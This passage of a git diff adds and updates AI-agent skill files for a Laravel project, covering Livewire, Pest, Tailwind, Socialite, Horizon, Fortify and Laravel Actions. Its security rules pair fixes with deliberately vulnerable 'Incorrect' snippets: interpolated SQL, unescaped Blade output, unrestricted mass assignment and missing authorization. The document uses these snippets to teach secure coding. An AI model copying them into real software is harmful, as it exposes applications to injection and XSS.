(blacklist). + +Incorrect: +```php +class User extends Model +{ + protected $guarded = []; // All fields are mass assignable +} +``` + +Correct: +```php +class User extends Model +{ + protected $fillable = [ + 'name', + 'email', + 'password', + ]; +} +``` + +Never use `$guarded = []` on models that accept user input. + +## Authorize Every Action + +Use policies or gates in controllers. Never skip authorization. + +Incorrect: +```php +public function update(Request $request, Post $post) +{ + $post->update($request->validated()); +} +``` + +Correct: +```php +public function update(UpdatePostRequest $request, Post $post) +{ + Gate::authorize('update', $post); + + $post->update($request->validated()); +} +``` + +Or via Form Request: + +```php +public function authorize(): bool +{ + return $this->user()->can('update', $this->route('post')); +} +``` + +## Prevent SQL Injection + +Always use parameter binding. Never interpolate user input into queries. + +Incorrect: +```php +DB::select("SELECT * FROM users WHERE name = '{$request->name}'"); +``` + +Correct: +```php +User::where('name', $request->name)->get(); + +// Raw expressions with bindings +User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get(); +``` + +## Escape Output to Prevent XSS + +Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content. + +Incorrect: +```blade +{!! $user->bio !!} +``` + +Correct: +```blade +{{ $user->bio }} +``` + +## CSRF Protection + +Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia. + +Incorrect: +```blade +
+ +
+``` + +Correct: +```blade +
+ @csrf + +
+``` + +## Rate Limit Auth and API Routes + +Apply `throttle` middleware to authentication and API routes. + +```php +RateLimiter::for('login', function (Request $request) { + return Limit::perMinute(5)->by($request->ip()); +}); + +Route::post('/login', LoginController::class)->middleware('throttle:login'); +``` + +## Validate File Uploads + +Validate MIME type, extension, and size. Never trust client-provided filenames. + +```php +public function rules(): array +{ + return [ + 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'], + ]; +} +``` + +Store with generated filenames: + +```php +$path = $request->file('avatar')->store('avatars', 'public'); +``` + +## Keep Secrets Out of Code + +Never commit `.env`. Access secrets via `config()` only. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'api_key' => env('API_KEY'), + +// In application code +$key = config('services.api_key'); +``` + +## Audit Dependencies + +Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment. + +```bash +composer audit +``` + +## Encrypt Sensitive Database Fields + +Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`. + +Incorrect: +```php +class Integration extends Model +{ + protected function casts(): array + { + return [ + 'api_key' => 'string', + ]; + } +} +``` + +Correct: +```php +class Integration extends Model +{ + protected $hidden = ['api_key', 'api_secret']; + + protected function casts(): array + { + return [ + 'api_key' => 'encrypted', + 'api_secret' => 'encrypted', + ]; + } +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/style.md b/.agents/skills/laravel-best-practices/rules/style.md new file mode 100644 index 000000000..db689bf77 Binary files /dev/null and b/.agents/skills/laravel-best-practices/rules/style.md differ diff --git a/.agents/skills/laravel-best-practices/rules/testing.md b/.agents/skills/laravel-best-practices/rules/testing.md new file mode 100644 index 000000000..d39cc3ed0 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/testing.md @@ -0,0 +1,43 @@ +# Testing Best Practices + +## Use `LazilyRefreshDatabase` Over `RefreshDatabase` + +`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites. + +## Use Model Assertions Over Raw Database Assertions + +Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);` + +Correct: `$this->assertModelExists($user);` + +More expressive, type-safe, and fails with clearer messages. + +## Use Factory States and Sequences + +Named states make tests self-documenting. Sequences eliminate repetitive setup. + +Incorrect: `User::factory()->create(['email_verified_at' => null]);` + +Correct: `User::factory()->unverified()->create();` + +## Use `Exceptions::fake()` to Assert Exception Reporting + +Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally. + +## Call `Event::fake()` After Factory Setup + +Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models. + +Incorrect: `Event::fake(); $user = User::factory()->create();` + +Correct: `$user = User::factory()->create(); Event::fake();` + +## Use `recycle()` to Share Relationship Instances Across Factories + +Without `recycle()`, nested factories create separate instances of the same conceptual entity. + +```php +Ticket::factory() + ->recycle(Airline::factory()->create()) + ->create(); +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/validation.md b/.agents/skills/laravel-best-practices/rules/validation.md new file mode 100644 index 000000000..a20202ff1 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/validation.md @@ -0,0 +1,75 @@ +# Validation & Forms Best Practices + +## Use Form Request Classes + +Extract validation from controllers into dedicated Form Request classes. + +Incorrect: +```php +public function store(Request $request) +{ + $request->validate([ + 'title' => 'required|max:255', + 'body' => 'required', + ]); +} +``` + +Correct: +```php +public function store(StorePostRequest $request) +{ + Post::create($request->validated()); +} +``` + +## Array vs. String Notation for Rules + +Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses. + +```php +// Preferred for new code +'email' => ['required', 'email', Rule::unique('users')], + +// Follow existing convention if the project uses string notation +'email' => 'required|email|unique:users', +``` + +## Always Use `validated()` + +Get only validated data. Never use `$request->all()` for mass operations. + +Incorrect: +```php +Post::create($request->all()); +``` + +Correct: +```php +Post::create($request->validated()); +``` + +## Use `Rule::when()` for Conditional Validation + +```php +'company_name' => [ + Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']), +], +``` + +## Use the `after()` Method for Custom Validation + +Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields. + +```php +public function after(): array +{ + return [ + function (Validator $validator) { + if ($this->quantity > Product::find($this->product_id)?->stock) { + $validator->errors()->add('quantity', 'Not enough stock.'); + } + }, + ]; +} +``` \ No newline at end of file diff --git a/.agents/skills/livewire-development/SKILL.md b/.agents/skills/livewire-development/SKILL.md index 755d20713..70ecd57d4 100644 --- a/.agents/skills/livewire-development/SKILL.md +++ b/.agents/skills/livewire-development/SKILL.md @@ -1,24 +1,13 @@ --- name: livewire-development -description: >- - Develops reactive Livewire 3 components. Activates when creating, updating, or modifying - Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; - adding real-time updates, loading states, or reactivity; debugging component behavior; - writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI. +description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire." +license: MIT +metadata: + author: laravel --- # Livewire Development -## When to Apply - -Activate this skill when: -- Creating new Livewire components -- Modifying existing component state or behavior -- Debugging reactivity or lifecycle issues -- Writing Livewire component tests -- Adding Alpine.js interactivity to components -- Working with wire: directives - ## Documentation Use `search-docs` for detailed Livewire 3 patterns and documentation. @@ -62,33 +51,31 @@ ### Component Structure ### Using Keys in Loops - - + +```blade @foreach ($items as $item)
{{ $item->name }}
@endforeach - -
+``` ### Lifecycle Hooks Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects: - - + +```php public function mount(User $user) { $this->user = $user; } public function updatedSearch() { $this->resetPage(); } - - +``` ## JavaScript Hooks You can listen for `livewire:init` to hook into Livewire initialization: - - + +```js document.addEventListener('livewire:init', function () { Livewire.hook('request', ({ fail }) => { if (fail && fail.status === 419) { @@ -100,28 +87,25 @@ ## JavaScript Hooks console.error(message); }); }); - - +``` ## Testing - - + +```php Livewire::test(Counter::class) ->assertSet('count', 0) ->call('increment') ->assertSet('count', 1) ->assertSee(1) ->assertStatus(200); +``` - - - - + +```php $this->get('/posts/create') ->assertSeeLivewire(CreatePost::class); - - +``` ## Common Pitfalls diff --git a/.agents/skills/pest-testing/SKILL.md b/.agents/skills/pest-testing/SKILL.md index 67455e7e6..ba774e71b 100644 --- a/.agents/skills/pest-testing/SKILL.md +++ b/.agents/skills/pest-testing/SKILL.md @@ -1,24 +1,13 @@ --- name: pest-testing -description: >- - Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature - tests, adding assertions, testing Livewire components, browser testing, debugging test failures, - working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, - coverage, or needs to verify functionality works. +description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code." +license: MIT +metadata: + author: laravel --- # Pest Testing 4 -## When to Apply - -Activate this skill when: - -- Creating new tests (unit, feature, or browser) -- Modifying existing tests -- Debugging test failures -- Working with browser testing or smoke testing -- Writing architecture tests or visual regression tests - ## Documentation Use `search-docs` for detailed Pest 4 patterns and documentation. @@ -37,13 +26,12 @@ ### Test Organization ### Basic Test Structure - - + +```php it('is true', function () { expect(true)->toBeTrue(); }); - - +``` ### Running Tests @@ -55,13 +43,12 @@ ## Assertions Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`: - - + +```php it('returns all', function () { $this->postJson('/api/docs', [])->assertSuccessful(); }); - - +``` | Use | Instead of | |-----|------------| @@ -77,16 +64,15 @@ ## Datasets Use datasets for repetitive tests (validation rules, etc.): - - + +```php it('has emails', function (string $email) { expect($email)->not->toBeEmpty(); })->with([ 'james' => 'james@laravel.com', 'taylor' => 'taylor@laravel.com', ]); - - +``` ## Pest 4 Features @@ -111,8 +97,8 @@ ### Browser Test Example - Switch color schemes (light/dark mode) when appropriate. - Take screenshots or pause tests for debugging. - - + +```php it('may reset the password', function () { Notification::fake(); @@ -129,20 +115,18 @@ ### Browser Test Example Notification::assertSent(ResetPassword::class); }); - - +``` ### Smoke Testing Quickly validate multiple pages have no JavaScript errors: - - + +```php $pages = visit(['/', '/about', '/contact']); $pages->assertNoJavaScriptErrors()->assertNoConsoleLogs(); - - +``` ### Visual Regression Testing @@ -156,14 +140,13 @@ ### Architecture Testing Pest 4 includes architecture testing (from Pest 3): - - + +```php arch('controllers') ->expect('App\Http\Controllers') ->toExtendNothing() ->toHaveSuffix('Controller'); - - +``` ## Common Pitfalls diff --git a/.agents/skills/socialite-development/SKILL.md b/.agents/skills/socialite-development/SKILL.md new file mode 100644 index 000000000..e660da691 --- /dev/null +++ b/.agents/skills/socialite-development/SKILL.md @@ -0,0 +1,80 @@ +--- +name: socialite-development +description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication." +license: MIT +metadata: + author: laravel +--- + +# Socialite Authentication + +## Documentation + +Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth). + +## Available Providers + +Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch` + +Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`. + +Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`. + +Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand. + +Community providers differ from built-in providers in the following ways: +- Installed via `composer require socialiteproviders/{name}` +- Must register via event listener — NOT auto-discovered like built-in providers +- Use `search-docs` for the registration pattern + +## Adding a Provider + +### 1. Configure the provider + +Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly. + +### 2. Create redirect and callback routes + +Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details. + +### 3. Authenticate and store the user + +In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`. + +### 4. Customize the redirect (optional) + +- `scopes()` — merge additional scopes with the provider's defaults +- `setScopes()` — replace all scopes entirely +- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google) +- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object. +- `stateless()` — for API/SPA contexts where session state is not maintained + +### 5. Verify + +1. Config key matches driver name exactly (check the list above for hyphenated names) +2. `client_id`, `client_secret`, and `redirect` are all present +3. Redirect URL matches what is registered in the provider's OAuth dashboard +4. Callback route handles denied grants (when user declines authorization) + +Use `search-docs` for complete code examples of each step. + +## Additional Features + +Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details. + +User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes` + +## Testing + +Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods. + +## Common Pitfalls + +- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails. +- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors. +- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely. +- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`. +- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol). +- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved. +- Community providers require event listener registration via `SocialiteWasCalled`. +- `user()` throws when the user declines authorization. Always handle denied grants. \ No newline at end of file diff --git a/.agents/skills/tailwindcss-development/SKILL.md b/.agents/skills/tailwindcss-development/SKILL.md index 12bd896bb..7c8e295e8 100644 --- a/.agents/skills/tailwindcss-development/SKILL.md +++ b/.agents/skills/tailwindcss-development/SKILL.md @@ -1,24 +1,13 @@ --- name: tailwindcss-development -description: >- - Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, - working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, - typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, - hero section, cards, buttons, or any visual/UI changes. +description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS." +license: MIT +metadata: + author: laravel --- # Tailwind CSS Development -## When to Apply - -Activate this skill when: - -- Adding styles to components or pages -- Working with responsive design -- Implementing dark mode -- Extracting repeated patterns into components -- Debugging spacing or layout issues - ## Documentation Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation. @@ -38,22 +27,24 @@ ### CSS-First Configuration In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed: - + +```css @theme { --color-brand: oklch(0.72 0.11 178); } - +``` ### Import Syntax In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3: - + +```diff - @tailwind base; - @tailwind components; - @tailwind utilities; + @import "tailwindcss"; - +``` ### Replaced Utilities @@ -77,43 +68,47 @@ ## Spacing Use `gap` utilities instead of margins for spacing between siblings: - + +```html
Item 1
Item 2
-
+``` ## Dark Mode If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant: - + +```html
Content adapts to color scheme
-
+``` ## Common Patterns ### Flexbox Layout - + +```html
Left content
Right content
-
+``` ### Grid Layout - + +```html
Card 1
Card 2
Card 3
-
+``` ## Common Pitfalls diff --git a/.claude/skills/configuring-horizon/SKILL.md b/.claude/skills/configuring-horizon/SKILL.md new file mode 100644 index 000000000..bed1e74c0 --- /dev/null +++ b/.claude/skills/configuring-horizon/SKILL.md @@ -0,0 +1,85 @@ +--- +name: configuring-horizon +description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching." +license: MIT +metadata: + author: laravel +--- + +# Horizon Configuration + +## Documentation + +Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment. + +For deeper guidance on specific topics, read the relevant reference file before implementing: + +- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling +- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config +- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs +- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config + +## Basic Usage + +### Installation + +```bash +php artisan horizon:install +``` + +### Supervisor Configuration + +Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block: + + +```php +'defaults' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['default'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], +], + +'environments' => [ + 'production' => [ + 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3], + ], + 'local' => [ + 'supervisor-1' => ['maxProcesses' => 2], + ], +], +``` + +### Dashboard Authorization + +Restrict access in `App\Providers\HorizonServiceProvider`: + + +```php +protected function gate(): void +{ + Gate::define('viewHorizon', function (User $user) { + return $user->is_admin; + }); +} +``` + +## Verification + +1. Run `php artisan horizon` and visit `/horizon` +2. Confirm dashboard access is restricted as expected +3. Check that metrics populate after scheduling `horizon:snapshot` + +## Common Pitfalls + +- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported. +- Redis Cluster is not supported. Horizon requires a standalone Redis connection. +- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration. +- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it. +- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out. +- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics. +- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone. \ No newline at end of file diff --git a/.claude/skills/configuring-horizon/references/metrics.md b/.claude/skills/configuring-horizon/references/metrics.md new file mode 100644 index 000000000..312f79ee7 --- /dev/null +++ b/.claude/skills/configuring-horizon/references/metrics.md @@ -0,0 +1,21 @@ +# Metrics & Snapshots + +## Where to Find It + +Search with `search-docs`: +- `"horizon metrics snapshot"` for the snapshot command and scheduling +- `"horizon trim snapshots"` for retention configuration + +## What to Watch For + +### Metrics dashboard stays blank until `horizon:snapshot` is scheduled + +Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler. + +### Register the snapshot in the scheduler rather than running it manually + +A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+. + +### `metrics.trim_snapshots` is a snapshot count, not a time duration + +The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage. \ No newline at end of file diff --git a/.claude/skills/configuring-horizon/references/notifications.md b/.claude/skills/configuring-horizon/references/notifications.md new file mode 100644 index 000000000..943d1a26a --- /dev/null +++ b/.claude/skills/configuring-horizon/references/notifications.md @@ -0,0 +1,21 @@ +# Notifications & Alerts + +## Where to Find It + +Search with `search-docs`: +- `"horizon notifications"` for Horizon's built-in notification routing helpers +- `"horizon long wait detected"` for LongWaitDetected event details + +## What to Watch For + +### `waits` in `config/horizon.php` controls the LongWaitDetected threshold + +The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration. + +### Use Horizon's built-in notification routing in `HorizonServiceProvider` + +Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration. + +### Failed job alerts are separate from Horizon's documented notification routing + +Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API. \ No newline at end of file diff --git a/.claude/skills/configuring-horizon/references/supervisors.md b/.claude/skills/configuring-horizon/references/supervisors.md new file mode 100644 index 000000000..9da0c1769 --- /dev/null +++ b/.claude/skills/configuring-horizon/references/supervisors.md @@ -0,0 +1,27 @@ +# Supervisor & Balancing Configuration + +## Where to Find It + +Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions: +- `"horizon supervisor configuration"` for the full options list +- `"horizon balancing strategies"` for auto, simple, and false modes +- `"horizon autoscaling workers"` for autoScalingStrategy details +- `"horizon environment configuration"` for the defaults and environments merge + +## What to Watch For + +### The `environments` array merges into `defaults` rather than replacing it + +The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`. + +### Use separate named supervisors to enforce queue priority + +Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this. + +### Use `balance: false` to keep a fixed number of workers on a dedicated queue + +Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable. + +### Set `balanceCooldown` to prevent rapid worker scaling under bursty load + +When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle. \ No newline at end of file diff --git a/.claude/skills/configuring-horizon/references/tags.md b/.claude/skills/configuring-horizon/references/tags.md new file mode 100644 index 000000000..263c955c1 --- /dev/null +++ b/.claude/skills/configuring-horizon/references/tags.md @@ -0,0 +1,21 @@ +# Tags & Silencing + +## Where to Find It + +Search with `search-docs`: +- `"horizon tags"` for the tagging API and auto-tagging behaviour +- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options + +## What to Watch For + +### Eloquent model jobs are tagged automatically without any extra code + +If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed. + +### `silenced` hides jobs from the dashboard completed list but does not stop them from running + +Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs. + +### `silenced_tags` hides all jobs carrying a matching tag from the completed list + +Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes. \ No newline at end of file diff --git a/.claude/skills/developing-with-fortify/SKILL.md b/.claude/skills/fortify-development/SKILL.md similarity index 72% rename from .claude/skills/developing-with-fortify/SKILL.md rename to .claude/skills/fortify-development/SKILL.md index 2ff71a4b4..86322d9c0 100644 --- a/.claude/skills/developing-with-fortify/SKILL.md +++ b/.claude/skills/fortify-development/SKILL.md @@ -1,6 +1,9 @@ --- -name: developing-with-fortify -description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications. +name: fortify-development +description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.' +license: MIT +metadata: + author: laravel --- # Laravel Fortify Development @@ -39,7 +42,7 @@ ### Two-Factor Authentication Setup ``` - [ ] Add TwoFactorAuthenticatable trait to User model - [ ] Enable feature in config/fortify.php -- [ ] Run migrations for 2FA columns +- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate - [ ] Set up view callbacks in FortifyServiceProvider - [ ] Create 2FA management UI - [ ] Test QR code and recovery codes @@ -75,14 +78,26 @@ ### SPA Authentication Setup ``` - [ ] Set 'views' => false in config/fortify.php -- [ ] Install and configure Laravel Sanctum -- [ ] Use 'web' guard in fortify config +- [ ] Install and configure Laravel Sanctum for session-based SPA authentication +- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication) - [ ] Set up CSRF token handling - [ ] Test XHR authentication flows ``` > Use `search-docs` for integration and SPA authentication patterns. +#### Two-Factor Authentication in SPA Mode + +When `views` is set to `false`, Fortify returns JSON responses instead of redirects. + +If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required: + +```json +{ + "two_factor": true +} +``` + ## Best Practices ### Custom Authentication Logic diff --git a/.claude/skills/laravel-actions/SKILL.md b/.claude/skills/laravel-actions/SKILL.md new file mode 100644 index 000000000..862dd55b5 --- /dev/null +++ b/.claude/skills/laravel-actions/SKILL.md @@ -0,0 +1,302 @@ +--- +name: laravel-actions +description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring. +--- + +# Laravel Actions or `lorisleiva/laravel-actions` + +## Overview + +Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns. + +## Quick Workflow + +1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`. +2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`. +3. Implement `handle(...)` with the core business logic first. +4. Add adapter methods only when needed for the requested entrypoint: + - `asController` (+ route/invokable controller usage) + - `asJob` (+ dispatch) + - `asListener` (+ event listener wiring) + - `asCommand` (+ command signature/description) +5. Add or update tests for the chosen entrypoint. +6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`). + +## Base Action Pattern + +Use this minimal skeleton and expand only what is needed. + +```php +handle($id)`. +- Call with dependency injection: `app(PublishArticle::class)->handle($id)`. + +### Run as Controller + +- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`. +- Add `asController(...)` for HTTP-specific adaptation and return a response. +- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP. + +### Run as Job + +- Dispatch with `PublishArticle::dispatch($id)`. +- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`. +- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control. + +#### Project Pattern: Job Action with Extra Methods + +```php +addMinutes(30); + } + + public function getJobBackoff(): array + { + return [60, 120]; + } + + public function getJobUniqueId(Demo $demo): string + { + return $demo->id; + } + + public function handle(Demo $demo): void + { + // Core business logic. + } + + public function asJob(JobDecorator $job, Demo $demo): void + { + // Queue-specific orchestration and retry behavior. + $this->handle($demo); + } +} +``` + +Use these members only when needed: + +- `$jobTries`: max attempts for the queued execution. +- `$jobMaxExceptions`: max unhandled exceptions before failing. +- `getJobRetryUntil()`: absolute retry deadline. +- `getJobBackoff()`: retry delay strategy per attempt. +- `getJobUniqueId(...)`: deduplication key for unique jobs. +- 